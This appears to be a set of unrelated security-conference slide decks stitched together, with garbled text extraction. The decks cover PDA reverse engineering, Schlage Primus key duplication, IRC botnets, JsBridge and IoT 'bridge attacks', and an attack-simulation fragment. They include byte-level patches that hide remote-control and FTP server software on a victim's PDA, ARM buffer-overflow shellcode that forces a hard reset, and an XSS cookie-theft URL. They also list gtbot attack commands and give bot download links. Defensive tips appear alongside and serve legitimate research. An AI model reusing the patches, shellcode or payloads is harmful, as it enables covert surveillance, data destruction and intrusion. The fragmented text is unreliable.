– LDR R1, [R2, #12]
Load R1 with value at R2+12.
– LDR R1, [R2, R4, R6]
Load R1 with R2+R4+R6
•
LDM/STM
– STMFD SP!, {R4,R5,LR}
– LDMFD SP!, {R4,R5,LR}
•
LDRB/STRB
ARM Opcodes – LDR / STR
• Hex Editor
– Needed to make changes to program files
– UltraEdit32
• Disassembler
– Converts program file into ASM code
– IDA Pro
• Debugger
– USB connection SLOW! (Pocket Hosts + W/LAN)
– Allows real time execution and walk through of code
– Microsoft eMbedded Visual C++ 3/4
Reverse-engineering Tools
The Invisible Spy
• vRemote 3.0 (permission obtained to RVE)
– Remotely control or view PDA from PC (VNC)
• Legit program with valid purpose…
– Standard installer
– Registry settings
– Listed in Running Programs List
• …but what if I don’t want it to be visible!
The Invisible Spy - RVE ex. 1.1
•
Locate window create functions (DEMO START)
•
CreateWindowEx
– HWND CreateWindow(
LPCTSTR lpClassName,
LPCTSTR lpWindowName,
DWORD dwStyle,
int x, int y, int nWidth, int nHeight,
HWND hWndParent,
HMENU hMenu,
HANDLE hInstance,
PVOID lpParam );
•
dwStyle
– WS_MAXIMIZE, WS_MINIMIZE, WS_POPUP, WS_VISIBLE, etc.
•
Winuser.h
• #define WS_MAXIMIZE
0x1000000
• #define WS_MINIMIZE
0x20000000
• #define WS_POPUP
0x80000000
• #define WS_VISIBLE
0x10000000
The Invisible Spy - RVE ex. 1.2
• General RVE process
– Load it in Disassembler
– Locate needed files!
– Note names of functions
• CreateWindowEx
• MessageBoxW
• wcscmp
• Wcslen
– Find target (demo-CreateWindowEx)
– Change Visible to Minimize
The Invisible Spy – NOP
• NOP does not technically exist
– 0x90 = UMULLS
– Opcode that does nothing?
– Mov R0, R0 = Virtual NOP
The Invisible Spy – ex. 1.3
• 0001210C - Minimize
– MOV R3, #0x10000000
MOV R3, #0x20000000
– 01 32 A0 E3
02 32 A0 E3
– 0001210C
150C
• 0001219C - ShowWindow
– BL ShowWindow
MOV R0, R0 (Virtual NOP)
– A6 15 00 EB
00 00 A0 E1
– 0001219C
159C
• 000121A4 - UpdateWindow
– BL UpdateWindow
MOV R0, R0
– A1 15 00 EB
00 00 A0 E1
– 000121A4
15A4
The Invisible Spy – ex. 1.4
• What do you get?
– Full hidden remote viewing/control
– Alerting feature when on WLAN/LAN
– Could be easily placed in Windows\Startup folder
• How can you stop?
– Firewall
– Monitor running processes
– Not true virus AV useless
• That cool, but what about remote file access?
The Hidden FTP Server
• Ftpsrv.exe
– No authentication
– Does not show up in program memory listing
– FULL access to PDA files
– Visible icon and defaulted to port 21
The Hidden FTP Server - ex. 2.1
•
Locate window Icon functions (DEMO START)
•
Shell_NotifyIcon - This function sends a message to the system to
add, modify, or delete an icon from the taskbar status area.
– Shell_NotifyIcon(
DWORD dwMessage,
PNOTIFYICONDATA pnid );
•
dwMessage
– NIM_ADD, NIM_MODIFY , NIM_DELETE
•
Shellapi.h
– #define NIM_ADD 0
– #define NIM_MODIFY 1
– #define NIM_DELETE 2
The Hidden FTP Server – ex. 2.2
• 00013AC8 - Shell_NotifyIcon Create
– MOV
Shell_NotifyIcon
MOV R0, R0
– 3A 01 00 EB
00 00 A0 E1
– 00013AC8
2EC8
• 00013B18 - Shell_NotifyIcon Delete
– BL
Shell_NotifyIcon
MOV R0, R0
– 26 01 00 EB
00 00 A0 E1
– 00013B18
2F18
• 0001694C – Change Port
– 0x15 = 21
?? (0x2D = 45)
– 0001694C
454C
• What do you get?
– Full hidden remote file access
– Could be easily placed in Windows\Startup folder
• How can you stop?
– Firewall
– Monitor running processes
– Not true virus AV useless
• That cool, but what about remote malicious attacks?
The Hidden FTP Server – ex. 2.3
#include <windows.h>
#include <winioctl.h>
#define IOCTL_HAL_REBOOT CTL_CODE(FILE_DEVICE_HAL, 15,
METHOD_BUFFERED, FILE_ANY_ACCESS)
extern "C" __declspec(dllimport)void SetCleanRebootFlag(void);
extern "C" __declspec(dllimport) BOOL KernelIoControl(
DWORD dwIoControlCode,
LPVOID lpInBuf,
DWORD nInBufSize,
LPVOID lpOutBuf,
DWORD nOutBufSize,
LPDWORD lpBytesReturned);
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPTSTR lpCmdLine, int nCmdShow)
{
SetCleanRebootFlag();
KernelIoControl(IOCTL_HAL_REBOOT, NULL, 0, NULL, 0, NULL);
return 0;
}
Hard Reset Code – ex. 3.1
•
LDR
R0, =SetCleanRebootFlag Set R0 = Clean Reboot Flag
•
LDR
R1, [R0]
Load R1 with value in R0
•
MOV
LR, PC
Move PC to LR
•
MOV
PC, R1
Move R1 to PC
•
MOV
R3, #0
R3 = 0
•
STR
R3, [SP,#4]
Store R3 at SP + 4
•
MOV
R0, #0
R0 = 0
•
STR
R0, [SP]
Store R0 at SP
•
MOV
R3, #0
R3 = 0
•
MOV
R2, #0
R2 = 0
•
MOV
R1, #0
R1 = 0
•
LDR
R0, =0x101003C
R0 = IOCTL_HAL_REBOOT
•
LDR
R4, =KernelIoControl
R4 = KernelloControl Function Addr
•
LDR
R4, [R4]
Load R4 with value in R4 Addr
•
MOV
LR, PC
Move PC to LR
•
MOV
PC, R4 Reset!
Set PC = KernelloControl Reset!
Hard Reset Code – ex. 3.2
• Ftpsrv.exe
– FTP servers are notorious for buffer overflows
– mkdir, cd, etc partially vulnerable x00
– Raw FTP commands vuln via unchecked strcpy
– Overwrite PC (return address) register
– Standard ‘Smash stack’ overflow
– Hard reset code injection?
FTP Buffer Overflow – ex. 4.1
• sub_12F28 (demo AAAAA)
– ...00012FE0 ldmia sp!, {r4 - r6, pc}
– SP = 0007FB28 PC = 0007FB34 = ?? ?? ?? ??
• Unabridged reset code fails
– 0x00 not allow convert all 00 to 01
• No XOR on ARM…but there is AND
– Mov r1, #1 01 10 A0 E3 (E3A01001)
– AND R1, R1, 0xF0 F0 10 01 E2 (E20110F0)
• 11110000 & 00000001 = 00000000
• Replace all 0x01 with 0x00
– STRB R1, PC, 34 (00 00 A0 E3 01 00 A0 E3)
FTP Buffer Overflow – ex. 4.2
•
E3A01001
MOV R1, #1
•
E20110F0
AND R1, R1, 0xF0
•
E5CF102C #10 STRB R1, PC, 2C
•
E5CF1029 #9 STRB R1, PC, 2C
•
E5CF1028 #8 STRB R1, PC, 2C
•
E5CF1025 #7 STRB R1, PC, 2C
•
E5CF1025 #6 STRB R1, PC, 2C
•
E5CF1024 #5 STRB R1, PC, 2C
•
E5CF1024 #4 STRB R1, PC, 2C
•
E5CF1024 #3 STRB R1, PC, 2C
•
E5CF1025 #2 STRB R1, PC, 2C
•
E5CF1031 #1 STRB R1, PC, 2C
FTP Buffer Overflow – ex. 4.3 Demo
13.
E59F1034
LDR R1, PC+34
14.
E1A0E00F
MOV LR, PC
15.
E1A0FO01
MOV PC, R1
16.
E3A00101 #9 #10
MOV R0, 0
17.
E58D0101 #7 #8
STR R0, SP
18.
E58D0104 #6
STR R0, SP+4
19.
E3A03001 #5
MOV R3, 0
20.
E3A02001 #4
MOV R2, 0
21.
E3A01001 #3
MOV R1, 0
22.
E59F0108 #2
LDR R0, PC+8
23.
E59F4008
LDR R4, PC+8
24.
E1A0E00F
MOV LR, PC
25.
E1A0F004
MOV PC, R4
26.
0101013C #1IOCTL_HAL_REBOOT
27.
01F730FC DATA
28.
01F74F74 DATA
FTP Buffer Overflow – ex. 4.4
• Demo
• Challenges
– Offset value not static
– Value for reset not static (OEM & OS)
• Dell vs. iPAQ
• Windows CE versions (minor and major)
– Ftpsrv.exe always crashes,
– …but PDA doesn’t always reset.
PDA Best Practices
• PDA Policy
– Understand these devices are going to be used…be
proactive.
– Ask these questions:
• Who needs it (CEO, IT Admins)?
• What will they use it for (email, contacts, task list)?
• Why will they use it (cool toy, productivity)?
• Where will they use it (home, work, on the road)?
• How does it need protected?
PDA Best Practices: Cont.
• PDA Security Tips
– Enterprise managed and owned PDA
– Control amount/type of data stored
– Encrypt all sensitive data
– Strong password (default four digit PIN is weak)
– Data wipe feature
– Encrypted and Secure synchronization
– Use VPN, ssh, SSL, X.509 certificates, Smartcard
– Logging ability
– Firewall and AV
– Backup regularly
Summary
The PDA (Windows Mobile is not secure…
…Any questions?
[email protected]
References
• www.arm.com
• http://www.ngine.de/gbadoc/armref.pdf
• http://www.eecs.umich.edu/speech/docs/a
rm/ARM7TDMIvE.pdf
• www.kaos.net
• Samija, Gerard Ivan. (2004) Downloadable
Threats to Pocket PC Data. | pdf |
Key Decoding and Duplication Attacks for the
Schlage Primus High-Security Lock
David Lawrence
Eric Van Albert
Robert Johnson
[email protected]
DEF CON 21
August 3, 2013
dlaw, ervanalb, robj (DEF CON 21)
Attacking the Schlage Primus
August 3, 2013
1 / 31
Standard pin-tumbler locks
Photo credit: user pbroks13 on Wikimedia Commons. Licensed under GFDL or CC-BY-SA-3.0.
Vulnerabilities
1 Key duplication: get copies made in any hardware store.
2 Manipulation: susceptible to picking, impressioning, etc.
dlaw, ervanalb, robj (DEF CON 21)
Attacking the Schlage Primus
August 3, 2013
2 / 31
The Schlage Primus
Based on a pin-tumbler lock, but with a second independent locking
mechanism.
Manipulation is possible but extremely difficult. Some people can pick
these in under a minute. Most people cannot.
We will focus on key duplication and the implications thereof.
dlaw, ervanalb, robj (DEF CON 21)
Attacking the Schlage Primus
August 3, 2013
3 / 31
1
Reverse-engineering the Primus
2
3D modeling Primus keys
3
Fabricating Primus keys
4
What it all means
dlaw, ervanalb, robj (DEF CON 21)
Attacking the Schlage Primus
August 3, 2013
4 / 31
1
Reverse-engineering the Primus
2
3D modeling Primus keys
3
Fabricating Primus keys
4
What it all means
dlaw, ervanalb, robj (DEF CON 21)
Attacking the Schlage Primus
August 3, 2013
5 / 31
Security through patents
dlaw, ervanalb, robj (DEF CON 21)
Attacking the Schlage Primus
August 3, 2013
6 / 31
Look up the patent. . .
dlaw, ervanalb, robj (DEF CON 21)
Attacking the Schlage Primus
August 3, 2013
7 / 31
Primus service manual
w3.securitytechnologies.com/IRSTDocs/Manual/108482.pdf
(and many other online sources)
dlaw, ervanalb, robj (DEF CON 21)
Attacking the Schlage Primus
August 3, 2013
8 / 31
Sidebar operation
DO N O T DU P L I C A T E
P AT .NO .4,756,177
PRIMUS
Finger pins must be lifted to the correct height.
Finger pins must be rotated to the correct angle.
dlaw, ervanalb, robj (DEF CON 21)
Attacking the Schlage Primus
August 3, 2013
9 / 31
Disassembly
Fill in any missing details by obtaining a lock and taking it apart.
Photo credit: user datagram on lockwiki.com. Licensed under CC-BY-3.0.
dlaw, ervanalb, robj (DEF CON 21)
Attacking the Schlage Primus
August 3, 2013
10 / 31
1
Reverse-engineering the Primus
2
3D modeling Primus keys
3
Fabricating Primus keys
4
What it all means
dlaw, ervanalb, robj (DEF CON 21)
Attacking the Schlage Primus
August 3, 2013
11 / 31
Top bitting specifications
MACS = 7
.031"
1.012"
100°
.8558"
.6996"
.5434"
.3872"
.231"
1
2
3
4
5
6
0
.335”
1
.320”
2
.305”
3
.290”
4
.275”
5
.260”
6
.245”
7
.230”
8
.215”
9
.200”
Increment:
Progression:
Blade Width:
Depth Tolerance:
Spacing Tolerance:
.015”
Two Step
.343”
+.002”-0”
±.001”
dlaw, ervanalb, robj (DEF CON 21)
Attacking the Schlage Primus
August 3, 2013
12 / 31
Side bitting specifications
Scan 10 keys on flatbed scanner, 1200 dpi, and extract parameters.
Index
Position
Height from bottom
Horizontal offset
1
Shallow left
0.048 inches
0.032 inches left
2
Deep left
0.024 inches
0.032 inches left
3
Shallow center
0.060 inches
None
4
Deep center
0.036 inches
None
5
Shallow right
0.048 inches
0.032 inches right
6
Deep right
0.024 inches
0.032 inches right
1
2
3
5
6
1
4
3
5
6
1
2
4
3
5
1
4
3
5
6
1
2
4
3
5
2
6
4
2
6
dlaw, ervanalb, robj (DEF CON 21)
Attacking the Schlage Primus
August 3, 2013
13 / 31
Modeling the side bitting
Design requirements
1 Minimum slope: finger pin must settle to the bottom of its valley.
2 Maximum slope: key must go in and out smoothly.
3 Radiused bottom: matches the radius of a finger pin.
dlaw, ervanalb, robj (DEF CON 21)
Attacking the Schlage Primus
August 3, 2013
14 / 31
Key cross-section
One shape fits in all Primus locks.
Dictated by physical constraints.
CP
P
R
I
M
U
S
HP
CEP
P
R
I
M
U
S
J P
EFP
P
R
I
M
U
S
FP
P
R
I
M
U
S
FGP
P
R
I
M
U
S
EP
P
R
I
M
U
S
LP
dlaw, ervanalb, robj (DEF CON 21)
Attacking the Schlage Primus
August 3, 2013
15 / 31
Modeling the key in OpenSCAD
Programming language that compiles to 3D models.
First use to model keys was by Nirav Patel in 2011.
Full implementation of Primus key is a few hundred lines of code.
// top_code is a list of 6 integers.
// side_code is a list of 5 integers.
// If control = true, a LFIC removal key will be created.
module key(top_code, side_code, control = false) {
bow();
difference() {
envelope();
bitting(top_code, control);
sidebar(side_code);
}
}
dlaw, ervanalb, robj (DEF CON 21)
Attacking the Schlage Primus
August 3, 2013
16 / 31
The result
key([4,9,5,8,8,7], [6,2,3,6,6]);
dlaw, ervanalb, robj (DEF CON 21)
Attacking the Schlage Primus
August 3, 2013
17 / 31
1
Reverse-engineering the Primus
2
3D modeling Primus keys
3
Fabricating Primus keys
4
What it all means
dlaw, ervanalb, robj (DEF CON 21)
Attacking the Schlage Primus
August 3, 2013
18 / 31
Hand machining
Materials needed:
Hardware store key blank ($1)
Dremel-type rotary tool ($80)
Calipers ($20)
Cut, measure, and repeat ad nauseum.
Rob can crank one out in less than an hour.
dlaw, ervanalb, robj (DEF CON 21)
Attacking the Schlage Primus
August 3, 2013
19 / 31
dlaw, ervanalb, robj (DEF CON 21)
Attacking the Schlage Primus
August 3, 2013
20 / 31
dlaw, ervanalb, robj (DEF CON 21)
Attacking the Schlage Primus
August 3, 2013
21 / 31
dlaw, ervanalb, robj (DEF CON 21)
Attacking the Schlage Primus
August 3, 2013
22 / 31
dlaw, ervanalb, robj (DEF CON 21)
Attacking the Schlage Primus
August 3, 2013
23 / 31
Computer-controlled milling
This is what the Schlage factory does.
High setup cost (hundreds of dollars): not practical for outsourced
one-off jobs.
Keep an eye on low-cost precision micromills.
dlaw, ervanalb, robj (DEF CON 21)
Attacking the Schlage Primus
August 3, 2013
24 / 31
3D printing
This is the game changing technology.
(From bottom to top, picture shows low resolution plastic, high resolution
plastic, and titanium.)
dlaw, ervanalb, robj (DEF CON 21)
Attacking the Schlage Primus
August 3, 2013
25 / 31
3D printing results
1 shapeways.com “frosted ultra detail”
▶ $5 setup fee plus $2 per key.
▶ Very good precision.
▶ Insufficient strength to retract a latch.
2 shapeways.com “white, strong, and flexible”
▶ $2 setup fee plus $1 per key.
▶ Acceptable precision (operation is less smooth, but it works).
▶ Strong enough to operate most locks.
3 i.materialise.com “titanium”
▶ $150 per key (ouch!).
▶ Very good precision.
▶ Very good strength (similar to that of a brass key).
Expect to see prices decrease even more in the near future.
dlaw, ervanalb, robj (DEF CON 21)
Attacking the Schlage Primus
August 3, 2013
26 / 31
1
Reverse-engineering the Primus
2
3D modeling Primus keys
3
Fabricating Primus keys
4
What it all means
dlaw, ervanalb, robj (DEF CON 21)
Attacking the Schlage Primus
August 3, 2013
27 / 31
Primus-specific results
Key decoding is easy.
Key duplication is easy.
Master key extrapolation is easy.
Keyless manipulation is still hard.
Our recommendations
Primus should not be used for high-security applications.
Existing Primus installations should reevaluate their security needs.
dlaw, ervanalb, robj (DEF CON 21)
Attacking the Schlage Primus
August 3, 2013
28 / 31
General implications
This is an industry-wide problem.
Key duplication will become much more accessible.
Physical security will depend on information security.
Patent protection will become less useful.
Figure: A 3D printed car key, by Ryan Weaving,
and a 3D printed disc detainer key, by Nirav Patel.
dlaw, ervanalb, robj (DEF CON 21)
Attacking the Schlage Primus
August 3, 2013
29 / 31
Audience projects
Contribute 3D models of other keys. (Medeco, anyone?)
Integrate 3D models with existing image-to-key decoding software.
Start a website for the exchange of 3D models of interesting keys.
Figure: New York City “master keys”.
What will happen once 3D models of these become available?
dlaw, ervanalb, robj (DEF CON 21)
Attacking the Schlage Primus
August 3, 2013
30 / 31
Questions?
dlaw, ervanalb, robj (DEF CON 21)
Attacking the Schlage Primus
August 3, 2013
31 / 31 | pdf |
Today’s Modern Network
Killing Robot
Viki Navratilova
[email protected]
Network Security Officer
The University of Chicago
How to Create a Network Killing
Robot
Slap together different technologies
– Borrow from the strengths of each
Make it easy for lots of people to use (AOL effect)
– Means giving up ‘I am an elite hacker’ snobbery
Widely distribute it to non-tech people
Automate everything
Distribute as much as you can over the Internet
– Reduces single point of failure
Give people the ability to express themselves through
the tools
IRC & DOS, two great tastes that
taste great together
IRC (I Repeat Classes)
- Widely available networked benign application
- (relatively) effective way to fulfill need to socialize
- Easy to use application
DOS (Denial of Service Tools)
- Effective way to communicate emotions to others
- Lots of engineering effort goes into DOS tools
- Always evolving in response to new ways to block
them
A Brief History of Denial of Service
Attacks
Early DOS attacks
ping of death
– Simple network flood
– either single very large ping packet, or a flood of large
or small ping packets
smurf attack
– Amplified network flood
– widespread pings with faked return address
(broadcast address)
syn flood
– Overload the machine instead of the network
– Send a bunch of SYN packets to a host on different
ports to open a connection, and don’t finish opening
the connection
Distributed Denial of Service
(DDOS) Tools
trinoo,stacheldracht
– faked source ip address
– easy to spot and filter
– Much more devastating than old DOS tools
– Harder to track back to the attacker
– Made famous in the media when cnn.com,
yahoo.com, ebay.com DOS’ed for several hours
– Generally required breaking into each DDOS drone by
hand to install the DDOS software
A Brief History of IRC Bots
eggdrop bot - Jeff Fischer, 1993
download from www.eggheads.org
usually used to mind irc channels when
their human ops weren't there
windows port is called windrop
still widely used today
bnc – the bnc group
IRC server proxy
found on a lot of compromised machines in the wild
hides your IP, so you are protected from DOS attacks and
exploits
you select port, password, max # of users, and hosts.allow
for ips
/server shell.server.com portnumber password
good for anonomyzing trash talking and IRC-based attacks
everyone sees the IP address of the BNC server
if people attack your BNC server
– slows down your IRC connection and might disconnect you from IRC
temporarily
– your computer is safe
Parallel Evolution of Two Tools
IRC
irc scripts (aliases for sending files)
irc bots for file sharing & keeping the channel op'd while
you're away
netsplits would accidently give people ops
channel wars break out & netsplits are caused manually
to give ops
irc bots start to keep the channel up during netsplits
- two bots fight it out, the one on the better server wins
irc bots themselves start to cause netsplits
irc bots start to attack (pax0r) individuals (be polite!)
(started in mid '90's)
irc bots used to be mostly unix are now mostly windows
people write scripts to automatically scan, break in, and
install irc bots (eggdrop)
Denial of Service
Becomes common later than IRC
starts simply by poorly written software or shell scripts
- CS students accidently fork bombing
- too many wgets taking down a server
network dos (started in mid '90's – Clinton Conspiracy?)
– simple network flood - ping of death
– amplified network flood - smurf attack
– overloading machine instead of network - syn floods
distributed dos
– dos itself becomes scripted & remotely controlled
– trinoo, stacheldracht make the news
– setting it up (breaking-in & downloading) is mostly done
manually
IRC & DOS come together when people realize they can use irc to
control what were once known as zombie machines
Today's Modern Network Killing
Robot
irc bots control everything in one handy
package
– scan, break in, carry out dos attacks on
demand
having so many machines that DOS on
demand makes the dos attacks into ddos
attacks
These networks of DOS’ing machines are
called DOSnets
DoSnet tools
immigrant child labor became expensive, so people
started automating DDOS by using robots
harder to filter because they come from all over
may or may not use spoofed source addresses, not
necessary because individual botnet nodes are cheap to
replenish
little to no media coverage, so users and sysadmins are
largely unaware of how widespread they are
hide in legitimate IRC traffic, no special ports used
DoSnet tools
botnet Masters & bots can hide in channels that most
people can't see (hidden channel, appears the channel is
empty from outside, special characters in channel name,
etc.)
infection of hosts with botnets is much easier than
before, no more need for children in sweatshops to
individually compromise each host for a traditional DDOS
drone network
DoSnet botnets are much more flexible than DDOS
drones
Dosnet bots can include various programs so they can
run almost anything
- examples: Ping of death, fragmented IGMP flood, flood
irc channels,etc.
DoSnet Methods of Infection
trojaned file containing a bot sent through e-
mail via attachment
web browser exploits (usually IE) download a
small executable invisibly to a desktop, which
then downloads a bot and runs it in stealth
mode
blank or weak admin password, password is
guessed, script logs on, download and runs bot
looking for something currently infected with
another trojan such as SubSeven
evilbot
backdoor windows trojan
– copies itself to the \Windows\System folder
– adds itself to the registry (who doesn't?)
sysyemdl %system%\sysedit.exe
HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\Run
backdoor is accessible via IRC
attacks other computers using IRC
gtbot (global threat bot) - Sony,
mSg, & DeadKode, 2000
renamed mirc client containing various mirc bot
scripts
runs in stealth mode using HideWindow program
often downloaded by people on irc who are
tricked into thinking it's a
clean mirc client, or installed on a compromised
machine as the payload of the automated
compromise
supports plugins, so adding in programs to do
extra stuff (like sending fragmented IGMP
packets) is easy
gtbot on irc
connects to a channel on an IRC network & waits for commands from the bot master
commands include:
!scan
usage:
!scan <ip.*> <port>
!scan 1.1.1.* 31337
example : !scan 128.135.75.103 31337
!fileserver.access
no usage, if the the address of the user = %master, then they can spawn an fserve from the root of C:\.
!up
attempts to op the $nick in the current channel.
!info
no usage, gives information about the client such as:
date, time, os (which type of windows), uptime, number of .mp3s, number of .exe's, number of .mpg's,
number of .asf's
and which url the client it currently viewing.
!clone.c.flood
constant flood, sets a timer to continually flood a channel or nick.
!flood.stop
stops the above flood.
!super.flood
another flood type.
!super.flood.stop!
stops the above flood.
!portscan
usage:
!portscan <ipaddress> <startport> <endport>
!update
attempts to get an update from a webpage, if your address matchs
%master.
usage:
!update <url>
gtbot registry key settings
- adds registry key to make sure it starts at boot, such as:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run "WHVLXD"
Type: REG_SZ
Data: C:\<folder gtbot is in>\WHVLXD.exe
- modifies mirc registry key values:
HKEY_CLASSES_ROOT\ChatFile\DefaultIcon "(Default)"
Old data: "C:\MIRC\MIRC.EXE"
New data: "C:\<folder gtbot is in>\TEMP.EXE"
HKEY_CLASSES_ROOT\ChatFile\Shell\open\command "(Default)"
Old data: "C:\MIRC\MIRC.EXE" -noconnect
New data: "C:\<folder gtbot is in>\TEMP.EXE" -noconnect
HKEY_CLASSES_ROOT\irc\DefaultIcon "(Default)"
Old data: "C:\MIRC\MIRC.EXE"
New data: "C:\<folder gtbot is in>\TEMP.EXE"
HKEY_CLASSES_ROOT\irc\Shell\open\command "(Default)"
Old data: "C:\MIRC\MIRC.EXE" -noconnect
New data: "C:\<folder gtbot is in>\TEMP.EXE" -noconnect
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\mIRC
"UninstallString"
Old data: "C:\MIRC\MIRC.EXE" -uninstall
New data: "C:\<folder gtbot is in>\TEMP.EXE" -uninstall
How to remove gtbot
if you have this on machine, odds are good that
you have other problems & other backdoors
installed
download a tool such as Lockdown Corp's
LockDown 2000 or their free scanning tool
SwatIt!
delete the registry key it created to make it start
up after every boot
- make a backup of your registry first
- mirc registery keys shouldn't affect system
operation, so they don’t have to be deleted
How to remove gtbot (cont.)
can either reboot and kill the bot files
look for a mirc.ini file in a place where it
shouldn't be, and probably delete the
entire folder that contains the mirc.ini file
if it looks like it's been created by the bot
doing a search for all the mirc.ini files on
your system should reveal all the bots on
your machine (sometimes hidden in
windows font directory)
should only have one mirc.ini file for each
legitmately installed version of mirc
How to remove gtbot (cont.)
possible to hexedit the bot so it starts up off
another file name other than mirc.ini, so looking
for mirc.ini may not always work
or can kill the process and delete the files
be sure the process has stopped running before
you delete anything
if one opens on your desktop, close it using the
X at the top of the window
some bots signal destructive routines if someone
types something into them
don't use a bot for chat
sdbot
copies itself somewhere to the Windows System
directory or a subdirectory
connects to IRC servers & joins pre-selected IRC channel
(hardcoded)
receives control commands from its master such as:
– download files
– execute remote files
– act as IRC proxy server
– join IRC channels
– send /msgs on IRC
– sending UDP & ICMP packets to remote machines
can remove by using something like McAfee or F-Secure
Anti-Virus
– can also try deleting individual files, but that might trigger all
sorts of destructive triggers like deleting c:\ or the windows
system folder, etc.
Demonstration
Ways to Detect a Botnet on Your
Network
subscribe to a mailing list like FIRST, NSP
– require membership
– members regularly watch internet-wide trends in bot activity and
notify members
look for flows to port 6667
– look for timing
– incoming microsoft-ds (445) to machine A, soon afterwards
machine A starts outgoing irc (6667) traffic
Use an IDS like Snort
– generally unencrypted traffic, so easy to spot if you know what
strings to look for
– because of bot variations, bots can get around this
– some bot variations encrypt their traffic
use packeteer
– look for top dcc talkers
– high traffic indicates an irc bot, may or may not be a
DDOS botnet bot
look for machines with irc traffic and lots of udp
or icmp traffic
– really noticeable only when the botnet is attacking
see people joining irc channels with formulaic
nicknames
– they get kicked and re-join later with similar
nickname and same IP address as before
– may or may not be a DDOS botnet bot
URLs for further reading
bot scanners, bot information, interviews with IRC ops
and backdoor authors
http://bots.lockdowncorp.com/
gtbot information
– including lots of documentation on variants
– lists of files each variant installs & file sizes & registry key mods
to help you find them on your machine
http://golcor.tripod.com/gtbot.htm
download sdbot
http://wintermarket.org:81/~sd/sdbot/news.shtml
download gtbot & a bunch of others and their variants
http://www.weblinxorz.com/bots/bots.html
More urls…
download eggdrop
http://www.eggheads.org
download BNC
http://www.gotbnc.com/
http://bnc.ircadmin.net/
I for one, welcome our new robot masters.
Questions? | pdf |
Zidong Han
Bridge Attack
—Double-edged Sword in MobileSec
Self Introduction
l Mobile Security researcher
-Tencent Mobile Security Labs Razor Team
l Focuses on App vulnerability and IOT related security
l GeekPwn 2018 winner in “Hacker Pwn in House”
l HITB-SECCONF-2018-Beijing
Agenda
Ø What is Bridge Attack
Ø Why a Bridge Attack
Ø Bridge Attack and Exploit Cases
Ø Defense the Bridge Attack
Ø Conclusion
What is Bridge Attack
Develop Fast Without Risk?
What is Abstract Bridge
AbstractBridge
Mobile0App
IoT0Device
Browser
l Mobile App
Ø Android: Javascript in WebView
Ø IOS:UIWebView/WKWebView
l IoT Device
Ø DLNA/Upnp/WebSocket
“UnOffical”definition of Bridge Attack
Browser
Attack
User
URL Payload
Abstract Bridge
Parse Url
Send Expolit Result
JsBridge
IotBridge
…
Mobile
Application
Lan
IOT Device
Why a Bridge Attack
WebView Attack in Past
l Using addJavascriptInterface to RCE
Ø CVE-2012-6336
l WebView Cross-domain Risk
Ø setAllowFileAccess
Ø setAllowFileAccessFromFileURLs
Ø setAllowUniversalAccessFromFileURLs
l URL Scheme Attack
Ø <scheme>://<host>:<port>/<path>?<query> with exported
component
Difference in Bridge Attack
l More Attack Surface
l Vulnerability effect with Bridge Ability
l Both Mobile Apps & IoT devicves
Bridge Attack and Exploit Cases
Bridge Attack Surface in Mobile Application
Malicious0
Request
Bridge0In0Application&Webview00
Browser
Scheme0
Parse
Bypass0
Recognize
Identification0
Check
Fake00
Fun-Call0
Action0
Dispatch
Mobile0Device
Bypass Identification Check
Ø XSS attack from url
Ø InSecure domain check(CSRF)
Ø JS Bridge(@JavascriptInterface) Man-in-the-Middle Attack
Insecure Check Case I
str.contains("safe.com")00
str.endsWith("safe.com")
123safe.com0
Expolit JsBridge Ability
Ø Custom JsApi better or
worse?
Ø Easy Web attack can csrf in
apps
Insecure Check Case II
0000000000
0000000000
http://xxx.com/mobile/middle_page/index.html?
url=javascript:alert(document.cookie);//m2.mobike.com
What Can we do except stealing cookie??
Insecure Check Case II
Payload Question:
Ø import js file from outer url
Ø exec any Sensitive JsApi
Ø send user sensitive data to malicious url
0000000000
0000000000
Import jsapi file
Call getUserInfo jsapi
sendRequest jsapi to get
pay info
Steal user pay info
Insecure Check Case II
Attack From A Malicious Url
Complete0Exploit
Payload0UrL0
0
Load
Webview0Container
H5
JsBridge
Pay
Native0JsAPI
Attacker
User0Space
JsBridge00Ability
Info0Api
Native0Event
Steal0
Info
RCE/LCE
Worm
Native0Code
Exec
Javascript
Parse0Uri
LCE
What0Difference0in0Iot0Bridge
Ø Penetrate LAN from WAN Attack
-DNS Rebinding
-Bridge Attack in Brain App
-Other remote attack entries’
Ø Persistent attack during the exploiting
-More Broiler can be chosen in a LAN
-More attack mode can be designed and used
IOT0In0Private0Networks
Cloud0Server
Application
Abstract0IoT0Bridge
Command0Request
Command0Response
IoTBridge0With0Cloud0Server0
IoTBridge0Without0Cloud0Server
IOT0In0Private0Networks
Application
Abstract0IoT0Bridge
UPnP
WebSocket
Other0Protocal
Bridge Attack Surface in IoT Devices
DNS0
Rebinding
Bridge0In0IOT0Device
Browser
Private0
Network
Open-Port0
Analyze
Bridge0
Protocal
Send00
Request
Action0
Dispatch
IOT0In0Private0Networks
IoT Bridge Attack Case I
DLNA0Action
Ø Expose0some0Interface00with0no0identify00
checking0
Ø Basically0control0media0play0ability0
Ø Specially0inject0backdoor0into0Tv0
IoT Bridge Attack Case I
Ø Sensitive0Upnp0Action00make0security0
0worse0
0
Ø Remote0Download->Install0App->0
Launch0App0
0
Ø Attacker0Entering0private0network
IoT Bridge Attack Case II
0000000000
0000000000
Ø Center0App0with0no0Code0Protection0
Ø Communicate0with0Tv0with0no0Identify0check0
Ø Remote0attack0Smart0Tv0imitate0Center0App0Action0
Defense the Bridge Attack
l For Jsbridge:
Ø Check identification seriously
Ø Constraint the permission of bridge ability
Ø Ensure the communication security with encryto channel(etc.
https)
l For IoTbridge:
Ø Same security policy with JsBridge
Ø Be cautious in expanding and abusing the bridge ability
Ø Make sure your command action with authentication tickets
Conclusion
l More0Target:0Mobile0Apps0and0IoT0devices0
l Attack0Surface:0Integrate0Web0attacks0with0App/IoT0attacks0
l Easy-to-use:By0only0a0malicious0url0,0even0spread0quickly0
and0widely0
l Expolit0Ability:0RCE/LCE,0Sensitive0Information0Leak,APT0
Thanks | pdf |
•
什么是入侵攻击模拟
•
要解决的问题
•
存在的挑战
•
入侵攻击模拟演练
•
机制简介
•
突破入口模拟
•
防御水位衡量
•
模拟演练机制简介
•
检测/响应水位衡量
•
其他业务场景落地
•
企业采用多种安全措施,每一种都可能因
配置错误/运营问题失效,且难以察觉
•
